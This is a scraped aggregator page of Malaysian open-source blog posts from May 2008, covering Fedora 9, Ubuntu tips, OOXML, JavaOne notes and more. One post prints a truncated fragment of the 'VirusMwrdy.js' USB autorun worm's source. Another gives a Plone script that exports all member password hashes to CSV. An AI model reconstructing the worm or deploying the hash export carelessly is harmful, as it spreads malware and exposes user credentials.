svn checkout http://svn.macosforge.org/repository/calendarserver/CalendarServer/trunk CalendarServer8. Trouble was encountered to download several subversion packages. Therefore I have to download and extract them manually.
4. Install python-kerberos and python-devel
su -c "yum install python-kerberos python-devel"
5. Setup the disk to use extended filesystem
su -c "vi /etc/fstab"
Edit the options to include user_xattr in the filesystem that will hold the calendar.
/dev/hdb1 /mnt/data ext3 user,rw,user_xattr 0 2
6. Add a directory to put dcs data :
su -c "mkdir /mnt/data/dcs-data"
su -c "chown nicholas:nicholas /mnt/data/dcs-data/"
In DCS source directory, copy and edit the developement config file:
cd ~/dcs
cp ./conf/caldavd-test.plist ./conf/caldavd-dev.plist
vi ./conf/caldavd-dev.plist
Look for the string element specifying where to put data :
twistedcaldav/test/data/
And change it to point to a directory of your XATTR mounting point :
/mnt/data/dcs-data/
7. Run the CalendarServer scripts. This will download and place the required scripts at same level as dcs directory.
cd CalendarServer
./run -s
May 13, 2008 07:35 AM
Paul W. Frields, the Fedora Project leader's words on Fedora 9 release:
LiveUSB, PackageKit, PolicyKit, FreeIPA, easy partition resizing, one-click encryption, RandR support and a faster X, TeXLive, Firefox 3, GVFS, ext4, GCC 4.3, and so much more.... There are far too many improvements to list them all, but certainly even to the naked eye there are worlds of difference between our present and our past -- and the change is overwhelmingly for the better! Go check out the full list at http://fedoraproject.org/wiki/Releases/9/FeatureList on the wiki.
All of this work is done with our constant, unwavering commitment to upstream -- making sure that the Fedora Project always donates back to the source from which we draw. When we find opportunities for improvement, we share that with our upstream contributors to make sure that all open source participants benefit.
By being good citizens of the free and open source software community, we ensure the health and progression of thousands of projects that make the Fedora distribution a vehicle for advancing freedom. You can read more about this philosophy at http://fedoraproject.org/wiki/PackageMaintainers/WhyUpstream on the Fedora wiki.
And always, we continue to use our own work for everything we do. We push the improvements and results out as 100% free and open source, available for everyone to use, poke, prod, and build upon.
That's why Fedora is so much more than a Linux distribution. It's a mindset -- "Doing The Right Thing," as we like to say. Giving credit where credit is due, and working hand-in-hand with others, but not being afraid to stand apart when doing otherwise means sacrificing hard-won ground.
But most importantly, Fedora is a community, where people come together for a common good -- making it possible for every human being, everywhere to have the same access to information, communication, standards, and knowledge.
May 13, 2008 03:31 AM
I need to export plone accounts from Inigo Intranet to LDAP. To accomplish that, first I need some way to export the data I need. Plone itself does not have such tool for it (that I know of).
# Memberdata export script for Plone 3.0
#
# based on:
# http://transcyberia.info/archives/23-howto-sync-mailman-from-plone.html
# http://www.zopelabs.com/cookbook/1140753093
# http://plone.org/documentation/how-to/export-member-data-to-csv
#
# desc:
# None of the scripts above can extract password hashes on Plone3.0,
# BUT THIS ONE CAN!!!
#
# Execute this as normal External Script, and DON'T make it public accessible
# (unless you don't mind people having your hashes). You have been warned.
# Have fun (^,^)
#
from StringIO import StringIO
import csv
import time
def getMembersCSV(self):
request = self.REQUEST
text = StringIO()
writer = csv.writer(text)
# core properties (username/password)
core_properties = ['member_id','password']
# extra portal_memberdata properties
extra_properties = ['fullname',
'email',
'location',
'home_page',
'description']
properties = core_properties + extra_properties
writer.writerow(properties)
membership=self.portal_membership
passwdlist=self.acl_users.source_users._user_passwords
for memberId in membership.listMemberIds():
row = []
for property in properties:
if property == 'member_id':
row.append(memberId)
elif property == 'password':
row.append(passwdlist[memberId])
else:
member = membership.getMemberById(memberId)
row.append(member.getProperty(property))
writer.writerow(row)
request.RESPONSE.setHeader('Content-Type','application/csv')
request.RESPONSE.setHeader('Content-Length',len(text.getvalue()))
request.RESPONSE.setHeader('Content-Disposition',
'inline;filename=members-%s.csv' %
time.strftime("%Y%m%d-%H%M%S",time.localtime()))
return text.getvalue()
May 13, 2008 03:31 AM
Are you one of Ubuntu users? Then you can proudly display it with one of the “Powered by Ubuntu” stickers stamped on your computers. The only problem was, it used to be difficult to get one of those stickers as they were not offered in Malaysia.

Fortunately, Kebayan IT now offers “Powered by Ubuntu” stickers with reasonable price in Malaysia. They offers RM3/piece (without shipping) for the stickers, with each piece contains 9 “Powered by Ubuntu” stickers in various color.
Now you can turn this

In to this

How cool was it? Please visit Kebayan IT Ubuntu Stickers website for more information.
May 12, 2008 05:24 PM
I torrent quite abit and I know you do too. Thought it would be cool to share some of the torrents I find interesting with you.
Back in school I was part of a skate crew, this was back in Cameron Highlands. Best time of my life.
If I remember right, I went through 5 decks. Powell, Mapel, Shortys and World Industries, Blind tires, Panther bearings and not to forget, my DC, ES, Emerica and Globe shoes.
Good old days, it’s been a couple of years and I’ve put on a few pounds. I was fit, light, fast and full of energy. Wish I could turn back time, haa haa….
Anyways, here’s 2 skate videos I found interesting. Antiz the Z Movie and 411VM Skateboarding Volume15 Issue1.
Hope you enjoy them.
Tags: Me, skateboarding, Torrents, videosMay 12, 2008 12:49 PM
Though some might argue that Serial port are things in the past, it is still the most popular port for those who are into electronic DIY. Building electronic device with serial port interface is cheaper than buiding one that uses USB. That is the reason why people still sell USB-Serial adapter to those electronic DIY enthusiast.
Here’s how to enable USB-Serial port adapter in Ubuntu Linux (with credit to Freeman from RepRap forum)

First plug in the USB-Serial Port adaptor to one of your USB port. Wait for a couple of second, then run “dmesg”. You should see these message at the end of dmesg output.
usb 1-1: new full speed USB device using uhci_and address 2
usb 1-1: configuration #1 chosen from 1 choice
After that, unplug the device and type “lsusb”. You will see a list of output similar to this.
Bus 003 Device 001: ID 0000:0000
Bus 002 Device 007: ID 03f0:4f11 Hewlett-Packard
Bus 002 Device 006: ID 05e3:1205 Genesys Logic, Inc. Afilias Optical Mouse H3003
Bus 002 Device 004: ID 15d9:0a33
Plug in the USB-Serial Port converter back, and run “lsusb” again, and you shall see an additional line, like this.
Bus 003 Device 001: ID 0000:0000
Bus 002 Device 007: ID 03f0:4f11 Hewlett-Packard
Bus 001 Device 002: ID 4348:5523 — — — (notice the additional line!)
Bus 002 Device 006: ID 05e3:1205 Genesys Logic, Inc. Afilias Optical Mouse H3003
Bus 002 Device 004: ID 15d9:0a33
Now we know the vendor id and the product id of the USB-Serial Port converter, this will enable us to load the linux kernel module “usbserial” to activate the device, like this :
sudo modprobe usbserial vendor=0×4348 product=0×5523
Run “dmesg” again and you shall see lines similar like this :
usbserial_generic 1-1:1.0: generic converter detected
usb 1-1: generic converter now attached to ttyUSB0
usbcore: registered new interface driver usbserial_generic
As you can see, the new serial port device is mapped to /dev/ttyUSB0. You can instruct Ubuntu to load this module automatically by include the line : “usbserial vendor=0×4348 product=0×5523″ inside “/etc/modules” file.
Bonus: What application benefits from usb-serial port adaptor?
For starters, there are modems which uses RS-232 serial port. Some home-made devices includes Infrared remote control which uses LIRC which also depends on the serial port.
I use the adaptor to hook up my morse keyer in order to send morse code through the internet using Xchat CWIRC plugin. The site has an excellent circuit diagram to build such interface.
You can see my home-made morse code oscillator here : My Homemade Morse Code Practice Oscillator
May 12, 2008 12:41 PM

May 12, 2008 07:18 AM
May 12, 2008 06:59 AM
This morning , my brother tell me that, his laptop is infected by a virus called VirusMwrdy. I gave him HijackThis and KillBox program to delete those autorun.inf file and VirusMwrdy.js. I plug my thumbdrive to my brother laptop and of course it also got infected.
To my suprise, I plug my thumbdrive to my laptop and run freshclam, to update my clamav and run clamscan, but nothing is detected
sicksand@sicksand-laptop:/media/KINGSTON$ clamscan
/media/KINGSTON/VirusMwrdy.js: OK
/media/KINGSTON/AutoRun.inf: OK
/media/KINGSTON/SpaQ - The Novel.html: OK—————- SCAN SUMMARY —————-
Known viruses: 283588
Engine version: 0.92.1
Scanned directories: 1
Scanned files: 44
Infected files: 0
Data scanned: 1191.16 MB
Time: 579.132 sec (9 m 39 s)
here are some of the source of those file
VirusMwrdy.js
MwrdyText = MwrdyText + “alert(‘HEY YOU..’);”
MwrdyText = MwrdyText + “alert(‘Ohoo.. SpaQ la konon..’);”
MwrdyText = MwrdyText + “alert(‘Wanna know something?’);”
MwrdyText = MwrdyText + “alert(‘Virus Mawar is back and its attacking ur system!’);”
MwrdyText = MwrdyText + “alert(‘Better format ur computer baby.. Adios!!’);”
MwrdyText = MwrdyText + “alert(‘Oh yeah… mail me.. carboflux@yahoo.com’);”
MwrdyText = MwrdyText + “”
MwrdyText = MwrdyText + “Oh my… aku benci sgguh tgk cter SpaQ yg pnuh kegedikan anak2 muda tu.. hmm.. insafla.. hey.. aku pun insaf jgk…sb 2 wat virus ni “var fs = new ActiveXObject(“Scripting.FileSystemObject”);
// Open the explorer if double clicked
var ThisPath = fs.GetFile(WScript.ScriptFullname);
var check = ThisPath.Drive.DriveType;
var WinPath = new String(fs.GetSpecialFolder(0)); // Windows Folder
var SysPath = new String(fs.GetSpecialFolder(1)); // System32 Folder
var aShell = new ActiveXObject(“WScript.Shell”);
var aArgs = WScript.Arguments;
for (var i = 0; i utorun.inf
May 12, 2008 05:46 AM
I always have a 2 month backlog of podcasts because fortunately I don't spend too much time in the car. This morning, I started catching up with Cranky Geeks, a vidcast of John C Dvorak and his fellow cranks who gripe about the state of technology today.
I was surprised when they brought up the topic of OOXML. Here is a transcript (and my emphasis in bold) of their conversation (mp4 mp3):
John C Dvorak, Chief Crank, "dvorak.org/blog"
Sebastian Rupley, Co-Crank, Editorial Director, PCMagCast.comLance Ulanoff, Editor-in-Chief, PC MagazineVeronica Belmont, Host/Producer, Mahalo Daily
Time: 15:00JD: Microsoft OOXML has finally passed... Anybody here have a clue .. because Microsoft has been fighting it, fighting it fighting it, ... what do they want this for?
SR: Because the OpenDocument Format was the competitor for this, which is what the open source community wanted, and that would be basically and easy translatable way from all kinds of products, from open source to commercial products to exchange documents. Microsoft has its eyes on a proprietary type of format based on XML based on all its ...JD: ... buts its gotta be open, its gotta be a standard, not proprietary .. ?
SR: Its not open though, this is really a shame I think that this went through. There also are some rumours, that there were voting irregularities, that Microsoft pulled stunts, in getting this passed. It means we have to jump through hoops like getting the translator to download, mobile translator that they have now, for the 'x' documents that we do. Its a pain and it shouldnt happen ...
VB: Is this the DOCX? It confused the hell out of my mom I can tell you.
LU: It is driving people in the office and my office CRAZY, because every once in a while, a docx file shows up. Now if you want to open it you got to download the compatibility module for Office 2003.
SR: And its not just DOCX too, I get people sending me PPTX. "I cant open this PowerPoint, could you open it and rename it, save it to your disk and resend it back to me so that I can open it?"
VB: My dad installed the newest version of office on my Mom's computer at home, and she's not techie, but she uses Word everyday. And suddenly all her files were DOCX. And she was trying to open things, and send things to co-workers, and she just couldn't figure it out. ...
Im like .. thats ..?SR: Its ridiculous
LU: There should be a rule that we are not allowed to go past 3 characters for file extensions.
JD: What is the point of docx?[1]
LU: Its like XML is a widely used standard for companies to inter-operate because they will have a structured document. Its a big document so theres a kind of description of what the document is going to be like, and then there is the different parts plug in to that, and as long as you have those two things riding separately, you can easily change stuff and have a whole vast set of documents changed.
At the desktop level, I dont entirely understand what the massive benefit is going to be, I think Microsoft understands it better than others, er, I have no idea whether or not they push people hard, but Microsoft wants to own something ...JD: whats the thing on that movie 'Officespace', the guy who always had the TP report or whatever it was: TPS report ...
SR: Yes, its funny when they bring the birthday cake out "Whats the cake to person ratio" .. ?
JD: that would be for this report, you can make one change, and not worry about changing the coversheet, because it all would be automated. So I think they would be watching that movie too often apparently in Microsoft.
[1] It was pretty accurate up to the point Lance tries to explain what OOXML was, and when John tries to equate OOXML as a templating engine. Ah well, at least Sebastian Rupley really gets it and understands how harmful OOXML is as an international standard. It would have been better if he had more "airtime" in explaining the issues regarding this. And perhaps even elaborating on the "irregularities".
What is really interesting is how these people "in the know" have real world experience of these new file formats in the wild, and what the reaction is to them. Like the uptake of Vista, its pretty much negative.
Its also funny that the segment before this was about the April Fools pranks which occurred online. I think its quite unfortunate for Microsoft that their hollow victory (if its one at all) would fall on April the First. Well, whether the joke's on us or not, OOXML to me will always be remembered as the April Fools' Standard.
yk.ps. Where's the Final Text for DIS 29500? Shouldnt it be out oh, 12 days ago? I should have guessed and expected as much, though; Microsoft has always found it difficult to released anything in time. Im just surprised that ISO has allowed their enshrined processes to be infected by the Microsoft vapourware release cycles so quickly. I would have thought maybe OOXML v1.2 or v2.0. But even before v1.0? Shurely... Is this considered yet another irregularity in the process? Maybe they are hiding it from us so that we have less time to review the changes before the deadline to appeal on 1st June. How are we expected to go through 6000 7000 8000 pages in the next 2 weeks?
May 12, 2008 05:22 AM
meng in #fedora-my pointed me that there are several torrents which claims to be Fedora9 "Sulphur" Final ISO in several torrent sites. While I don't know how legit they are - and didn't bother to download since I've been on F9 since alpha, but here is a little warning for those who couldn't be patience and wait for official release.May 11, 2008 08:37 PM
<div>
<select id="foo"><option value="1">baz</option></select>
</div>
document.getElementById("foo").innerHTML = '<option value="2">baz</option>';
document.getElementById("foo").options[0] = new Option("baz", 2);
var x=document.getElementById("foo");
try
{
x.add(y,null); // standards compliant
}
catch(ex)
{
x.add(y); // IE only
}
May 11, 2008 05:05 PM
advertlets seems to be offline, their ads are ok but advertlets.com is down. Looks like a DB issue.
Update: Advertlets is back online. The downtime was for scheduled maintenance work.
Tags: ads, advertising networks, advertlets, database, downtimeMay 11, 2008 04:27 PM
May 11, 2008 01:19 PM
May 11, 2008 12:55 PM

Today I would proudly write about a fine, if not the best local Ubuntu blog for Malaysian, Melayubuntu. Best of all, its written in Malay !
The website is filled with loads of Ubuntu tips which is useful for Ubuntu users, whether they are new or an old timer. It is the one particular blog which should be worth subscribing for.
May 11, 2008 08:12 AM
May 11, 2008 03:34 AM
if you have got yourself a N800 or N810, and wish to use it for productivity purposes, the latest tutorial from Tablet School might interest you. It is already known that USB host mode is supported via a software update, but if you are lazy or afraid to try it out, the tutorial will give you a video how-to to get it working!
so time to get yourself a USB keyboard or USB to PS/2 adaptor for your favourite keyboard and boast it with your IT :)
May 10, 2008 11:31 AM
There are times when you want to print multiple presentation slides in one page, especially when you are making handouts to give away to your audiences. Here’s how you can do that easily using OpenOffice.org Impress.
First click at the “Handouts” tab.
Then you will see the slides arranged on a single page. Typical number of slides is usually between 4-6 on a single page. You can select layouts option to determined the number of slides.
Alternatively, you can change the page layout to to Landspace to give it a “wider” feeling to your handouts. Just right click and select Page Layout.
Finally you can print your handouts by selecting File->Print, and clicking Options at the bottom of the Print Dialog. Select Handouts, and print the documents as usual.
That’s all, hope it will help you in your daily works.
May 10, 2008 09:17 AM
[root@ ~]# dig www. .com
;
> DiG 9.3.3rc2
> www. .com
;; global options: printcmd
;; Got answer:
;; ->>HEADER- opcode: QUERY, status: NXDOMAIN, id: 20448 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;www. .com. IN A ;; AUTHORITY SECTION: .com. 2831 IN SOA ns1.blocked. blocked.tm.net.my. 1 900 600 86400 3600 ;; Query time: 1 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Sat May 10 03:09:50 2008 ;; MSG SIZE rcvd: 97 [root@~]#
May 10, 2008 03:56 AM
Its worth noting some website changes. First, I dropped Skribit. The widget has been sitting there unused for weeks, so I’m thinking that’s software that no one, besides its founders use. “Is Skribit proving useful?” is the question they ask - no.
Next up, I’ve stopped using Technorati tags, and have decided to use Wordpress tags. I’ll still be using categories, as well as tags to complement the categories. Why? Wordpress has the feature… Technorati still gets updates/pings from my blog, and creates its own “tags” (largely from what I can see, from ways I categorise my post) that it sees my blog represents.
Besides, now I can add tags for relevant events, and RSS feeds can be generated from it. Good for people just wanting to follow notes from a certain event, and aggregations of the specific feed for said events.
May 10, 2008 03:52 AM
Saw this in Planet MyOSS today. Hey!! Its my life too!!!.
May 10, 2008 02:29 AM
In a tiny fit of paranoia, as the Norovirus has decided to pay a visit to the Moscone this week, I decided that I needed to clean my keyboard on the Macbook.
I’ve already been following best practices of washing ones hands before eating with them (say bread at a restaurant even). You learn this stuff as a kid, but somewhere in-between growing up, and finding a girlfriend, you decide to share over cleanliness. Anyway, the habit has been back for a while. This largely after looking at toilets in a many a men’s wash room, where I notice that a lot tend to not wash their hands!
Anyway, to the point. Keyboard Cleaner. Tiny application that locks everything up, allows you to clean your keyboard and trackpad, and then with the magic Command+Q only will the application exit. Its small, but it serves a useful purpose.
May 09, 2008 07:56 PM
OpenOffice.org 3 Beta is out. The Beta is available to all those who wish to test, evaluate and report bugs about the next major release scheduled to be released in September.
The new release is packed with tones of new improvements. See the full feature list.
OpenOffice.org 3 Beta is currently available for MS-Windows, GNU/Linux, Mac OS X and OpenSolaris. Head on over to the download page to grab your copy.
Source: OpenOffice.org
Tags: beta, beta release, office suite, Open Source, openoffice, Software, SunMay 09, 2008 07:23 PM

May 09, 2008 04:02 PM
OpenOffice.org 2.4 adds support for Access 2007 (.accdb) and improves the "find and replace" feature in OOo Writer. The 2.4 may be the last of the 2.x series and next is the 3.x version by end of 2008. I wont go into the debate of weather one should wait for 3.x or not.
What does OOo 2.4 have to offer?
Introducing new keyboard shortcuts and the ability to print hidden and place-holder text is going to allow more areas for power users to explore. Keyboard shortcut improvement includes the Ctrl+0 for Text body, Ctrl+1 to Ctrl+5 for the Heading 1 to 5. Ctrl+Shift+0 changes to default.
PDF handling benefits from new export options. This includes ability to use slide names as bookmarks.
OOo promises Impress to allow 3D transition effects in its extensions. Ok, I cant find any extensions for this but I am looking forward to it. Initially this 3D feature will be only available on Linux.
Printing of hidden text in Writer is useful to find all those things that we have been controlling the layout. To do this in OOo 2.4 choose Tools ->Options ->Writer ->Print. Then select Hidden Text.
May 09, 2008 10:01 AM
May 09, 2008 09:19 AM
Presented by Ronan McBrien and Sourath Roy, both from Sun Microsystems. The highlight of the show for me? Seeing the Sun Media Receiver. Not much information about it, except from the Sun Labs Open Day.
May 09, 2008 04:11 AM
That’s the famous Googleplex. A place many dream to work at.
But why? Is it their brilliant ideas or os it the alternative office workspace that Google practices? Either way I would love to work for them someday.
Today, Google is not longer the pioneer in alternative office workspaces, familiar companies like Facebook, Flickr, Mozilla, LinkedIn and many others are coming up with impressive office workspaces too to bring out the best in their employees.
If you need a glimpse of what these offices look like, Office Snapshots has an impressive collection of snapshots of workspaces
Trust me, after looking at them. What we have in Malaysia feels like a factory. Seriously.
Tags: facebook, flickr, google, googleplex, linkedin, Malaysia, Mozilla, office workspace, snapshotsMay 09, 2008 02:00 AM
My previous phone (loan from my brother) , its a an old o2 xda IIs, which its manufactured by HTC by the codename of BlueAngel. I have upgrade the phone to Windows Mobile 5 from Windows Mobile 2003 thru this tutorial here
Some development going on this forum. the users actively trying to put Android on HTC Kaiser, and some of them are successfully ported. Note here, working means, successfully booting into Android and functionally working buttons, no phone daemon yet.
Yesterday, I tried to to boot my O2 Xda IIs to android, Using the files from here, copy the files to my SD card, using HaRet to boot, it boot but, stuck at Jumping to kernel. Well at least it boot, try to figure out what is wrong. Some of the possibility that my config are wrong:-
1. My SD Card is small (256MB)
2. SD not formatted to ext2 filesystem.
Will update this post later.
May 09, 2008 01:09 AM
Presented by Jonathan Haslam, Simon Ritter, Sun Microsystems
In what I thought was completely great showmanship between Jonathan Haslam and Simon ritter, it was simply, pure comedy, having the two of them on stage. No reason to go deeply into notes (as the verbose slides are available), but the actual demonstration, the writing the code on stage, and the dynamics between the two - that made this session pure gold to attend.
You can ask a system to panic with DTrace if you want!
Some terminology:
DTrace has a PID provider, to look at applications based on PID
dvm provider is a java.net project to add DTrace support in. Install a new shared library, and make sure its in the path.
DTrace in JDK6 exists as a hotspot provider. No need to download a shared library. Its also more feature-rich.
Project DAVE (DTrace Advanced Visualisation Environment) was demoed. Also note that there’s chime.
May 08, 2008 11:09 PM
First up, I want to say, I’m truly impressed with Brazil. One day I will visit this amazing place, and spread the good word of open source with projects that are close to my heart: MySQL, OpenOffice.org, Fedora, and in due time, a lot more. This is a live-blog, from a most interesting talk, at JavaOne 2008. As I wrote on Twitter, “Brazil, simply impresses me. Their use of open source in government, makes me think that the rest of the world has a lot to learn from them”.
Free and Open Source Software: Use and Production by the Brazilian Government
Rogerio Santana <rogerio.santanna@planejamento.gov.br> +55 61 313 1400, Logistics and Information Technology Secretariat
Planning, Budget and Management Ministry
Brazilian Government
Households with Internet access: 70% in the US4k household income range. 70% of households have mobile phones (even when total revenue is USD$2k). Middle and upper class are all, generally on the Internet.
In 2007, 98% of Income Tax has been sent by the Internet. By 2009, there’s only going to be use of a Java application for this. About 17.5 million people filed via the Internet. Impressive.
Brazil has 142k public schools - 26k are connected to the Internet now (18%), and 92% are connected at low speed, while 8% have 512kbps connections.
Plan? Free Internet for schools, from 2008-2025. 1mbps for each connection, growth plans in the next 3 years.
There exists Computer Reconditioning Centres (CRCs) for recycling PCs.
www.eping.e.gov.br (e-PING: e-Government Interoperability Standards)
www.governoelectronico.gov.br (e-MAG: e-Government Accessibility Model)
Brazil has been using electronic voting since 1995. 136.8 million people voted in 2006 election. Next version of vote machines will use GNU/Linux!
Open Standards. Interoperability. Free Software. Free License. Community.
e-PING: uses XML, browser compliant, they have metadata standards
Many organisations of the Brazilian Government use Java as a primary development platform. Remember, Java is important because its the first that allowed even Linux users to interact with government applications.
Brazilian Digital Television? Middle-ware responsible for the interactive process of digital TV also developed in Java. (Ginga is the name of the application).
In education? Enrolment is done via the Internet for universities. e-Proinfo is an e-learning project that has already trained 50k students.
Developing clusters and grids, with focus on high availability, load balancing, database replication, distributed mass storage, and virtualization. The government is backing this, since 2006.
May 08, 2008 06:47 PM
sharuzzaman@debian:/kde4-stable/kdebase$ cat -n list.sh
1 #!/bin/bash
2
3 for file in `ls -tr *.po`
4 do
5 output=`msgfmt -o /dev/null --statistics $file 2>&1`
6 fuzzyuntranslate=`echo $output | grep -e "fuzzy\|untranslated"`
7 if [ "$fuzzyuntranslate" != "" ]
8 then
9 echo $file
10 fi
11 done
sharuzzaman@debian:/kde4-stable/kdebase$ ./list.sh |head
kdmgreet.po
nsplugin.po
kdialog.po
kdebugdialog.po
kcmkwindecoration.po
kcmusb.po
kcmstyle.po
kdmconfig.po
kcmscreensaver.po
khtmlkttsd.po
May 08, 2008 06:00 PM
Do you realized that we can obtain a lots of user manuals and guideline documents from our system? There is a folder /usr/share/doc, you may find some useful docs already preinstalled by your distro. Those docs are in pdf or html format. I manage to find user manuals for valgrind, ipython, systemtap, boost etc.
I believes you can download those docs from the internet too, but since it already preinstalled in your system, why bother to download it again? To reduce inconveniences of accessing those docs, we can extract all the docs links into a html where we can access those docs by just click on the links.
This is what I do with find command line:
echo "<html><head><title>My Linux Docs</title></head><body><H1>My Linux PDF docs at /usr/share/doc</H1>" > doc.htm
find /usr/share/doc/ -name "*.pdf" -printf "<a href='file://%p'>%p</a></br>" >> doc.htm
echo "</br><H1>My Linux html docs at /usr/share/doc</H1>" >> doc.htm
find /usr/share/doc/ -name "index.htm*" -printf "<a href='file://%p'>%p</a></br>" >> doc.htm
echo "</body></html>" >> doc.htm
May 08, 2008 04:38 PM
May 08, 2008 02:27 PM
ctrl-n or Control-n
May 08, 2008 01:11 PM
We haven’t had a MySQL University session in a while (a semi-spring break?), but tomorrow’s session (May 8) should be real interesting. MySQL Cluster developer, Stewart Smith, will host a session titled Getting Started Using NDB. It will happen on May 8, at 13:00 UTC.
One of the most common queries I receive is from people wanting to install or get started with NDB usage (ok, strictly speaking, they want to “cluster” MySQL, and I’m happy Stewart is using the word “NDB” which refers to the storage engine). All in all, it should be a great session, so I encourage you to join in the festivities.
Lucky for me, 13:00 UTC equates to 06:00 PST, while I’m in San Francisco. So I should definitely attempt to be there.
May 08, 2008 02:35 AM
Hi, writer’s block is something very common amongst busy bloggers nowadays. Most often this is the case with part time bloggers who have to juggle between their full time jobs and their love for blogging . I’ve been stuck with work lately and it’s draining all my creative juices. Ideas don’t seem to flow in easily anymore.
I need your help, there’s a new tool in town. Skribit, I’ve added the widget. Skribit’s basically a Web 2.0 suggestion engine for blogs. Readers get to submit ideas for posts they would want to read and I the blog owner get’s to overcome my writer’s block syndrome.
Give it a spin. Remember to do drop me an idea or 2 on topics you would like me to post about.
Tags: blog, Blogging, Blogs, skribit, Web 2.0, widget, writers blockMay 08, 2008 02:10 AM
http://www.iosn.net/Members/kaeru/blog/epson-2480
I should redo these blogs as proper articles. I spent quite a bit of time learning about working with levels, which should be shared with others.
May 07, 2008 11:21 PM
Note: these are live notes. It was a great talk, I’d rate it as excellent (and I’m not just saying that because Josh and I work in the same group at Sun). I’ll have to also comment on his thoughts and talk, in due time. MySQL, as an open source project, has a lot to learn.
Ten Ways to Destroy Your Community
A How-To Guide
Josh Berkus, Community Guy
Part 1: The Evil of Communities
10 Ways to Destroy (The Berkus Plan, Patent Pending!)
1. Difficult Tools
This will limit attracting new community, and eventually people will get frustrated with the tools and go away.
2. Poisonous people
Maximise the damage they do - argue with them at length! So if people give you problems, continue feeding the trolls. Then denounce them venomously, and finally ban them. Josh then goes into a funny way of making use of poisonous people, which eventually leaves your team and the troll(s).
3. No documentation
Don’t document the code, build methods, submission process, release process, install it.
4. Closed-Door Meetings
Short notice online meetings are good. Telephone meetings are even better, because of timezones and limited conference lines. Meet in person, in your secure office, is the best way! (even if you dial in on a conference line so that others can here). People that are most involved will leave your project right away.
5. Legalese, legalese, legalese
The longer and more complex the better! Hate and fear of attorneys help drive people away from your open source project. Contributor agreements that are long/complicated, with unclear implications are particularly good. Website content licensing, non-disclosure agreements (NDAs) [European developers usually never sign an NDA], trademark licensing terms (name and logo of your project… good way to dissuade people). Used properly, you can use legalese to keep out developers!
Bonus: change the legalese every couple of months without informing folk!
6. Bad liaison
A bad liaison/community manager is someone reclusive (least social, hates answering email, unplugs phone regularly, etc.). Also, someone with no time works very well. They’ll spend a few weeks, but pretty soon they’ll give up, and if you’re really lucky they’ll be snappy and make bad comments to the community!
Assigning someone with no authority also helps. As a community manager, you have no chain of command, and you just get to deliver bad news (we decide, and you just say something). That person usually leaves your company, and becomes a poisonous person, and its a win-win.
Someone unfamiliar with the technology also helps. An open source Java project, getting a PHP programmer, is the best person for you :)
Having no liaison also helps. Refer to the project liaison, but have no one!
7. Governance obfuscation
A good model for this is none other than the UN (He has a slide on the UNDP).
Get your legal team to write a governance document. Like they’re dealing with a hostile outsider. You’ll be impressed what they come up with!
Three principles:
1. Decision making and elections should be extremely complex and lengthy
2. Make it unclear what powers community officials and communities actually have
3. Make governance rules nearly impossible to change
8. Screw around with licenses
Licenses loosely translate to Identity. You’re not just a Linux contributor but a GPL person… You’re not just a PostgreSQL contributor but a BSD person…
9. No outside committers
I. No matter how much code outsiders write, only employees get to be committers. This is a surefire way to annoy contributors eventually.
II. If they ask why they’re not being able to commit, just be evasive! Talk about needing a mentor, decision not made yet, etc…
III. Make sure there are no written rules on who gets to be a committer, or that the criteria are impossible to fulfil.
IV. Bonus: promote an employee who doesn’t code to committer! Most will get disgruntled by this and go away and they’re not your problem anymore.
10. Be silent
He demonstrates out live, by giving him a minute… what silence really is. Just do nothing, be really silent.
Q&A
How does Sun score?
All of these techniques have been successfully employed at open source projects at Sun and elsewhere. He gave this talk at a Sun internal event and people came up to him asking if they were talking about their project! Sun is scoring pretty well, but not necessarily any better than other corporations.
I missed the question, but the answer was: If you are fast and clear about explaining mistakes, communities tend to be forgiving.
Examples of a successful community?
Kernel.org, and the Linux kernel community.
What about using forking to destroy community?
Combines poisonous people and playing with licenses. It fragments the outside community as people have no idea which to use. You can’t plan a fork (as it requires a lot of motivation to do the fork - finding people with that level of commitment and masochism is hard). Keep your poisonous people around and encourage them (poisonous people who are also code writers), then you sort of foster their image in the community by giving them a voice, and if you do something to really mess with the community’s mind (say a change of license), then the poisonous person will take the project and fork it.
The other way of forking, is to take a legitimate outside developer, build them up, and then after they have become a major developer, abruptly lock them out. The danger here is that they might not fork the project, and change the project back…
How do you prevent companies from supporting your project? Because this also means more developers will come to your project. And these companies are now selling services around your product.
Monkeying around with licensing. Then you change the commercial services around that. The second thing to prevent ISVs, is to play around with trademark rules, and lots of legalese. Prevent them to get code into your project, that should help too.
May 07, 2008 05:28 PM

May 07, 2008 05:10 PM
Talk was given by Jaana Majakangas, from Nokia Corporation. I’ve been interested in NFC ever since I heard about it, as its something Maxis has been trialling for a while in Malaysia. It reminds me of rewinding back many years (maybe a decade ago?) when Celcom was trying to allow people to purchase a Coke from select vending machines, using SMS (no cash!). That never took off, but maybe NFC will be right, soon… Current limitation? Lack of devices - one in market (Nokia 6131) and another announced, but not in market. Also, the standard (JSR 257) has been extended by Nokia, which is always an issue for other implementers.
Some quick notes:
May 07, 2008 04:18 PM
Shinjiru will be moving my shared hosting account to a new server tomorrow. The move is scheduled for 9pm (GMT +8) 8th May 2008.
Since my DNS records will also need to be updated, The Danesh Project will be down till the updated DNS entries propagate to all DNS servers on the net. This will take up to 72 hours.
Tags: downtime, hosting, shinjiru, Site News, updateMay 07, 2008 01:32 PM
Just check systems.takizo.com’s PageRank from PageRank check, the page rank of our site has silently increase to PR5! thank you for those who linked our website, it helps our PR to growth!
May 07, 2008 10:59 AM
recently we were having Ratware/dictionary attack to our mail server, after few days of research, we just applied some secret “recipes” to cut down the spam, the result is awesome!
The secret recipes will reveal soon ![]()
May 07, 2008 10:51 AM
May 07, 2008 10:33 AM
May 07, 2008 09:49 AM
May 07, 2008 09:08 AM
After almost a day trying to connect to Maxis 3G yesterday, now I will share to public on how to connect to your Maxis 3G using any phone (linux compatible), mine is Sony Ericsson K660i.
First of all, you have to remember that, data package for Maxis 3G is pricey, 1kb == 1 sen. Its better for you to upgrade to Unlimited Data Package which is RM99. I dont know about celcom 3g.

First connect your phone to your laptop via cable. and select Phone Mode
Next, make sure you have gnome-ppp is install
sudo apt-get install gnome-ppp
After finish installing, go to menu Applications->Internet->GNOME PPP. A window like this will pop up, click Setup

Then click Detect. Open your terminal and issues this command
sicksand@sicksand-laptop:~$ cd $HOME
sicksand@sicksand-laptop:~$ gedit .wvdial.conf
Just change the bold part
[Dialer Defaults]
Modem = /dev/ttyACM0
ISDN = off
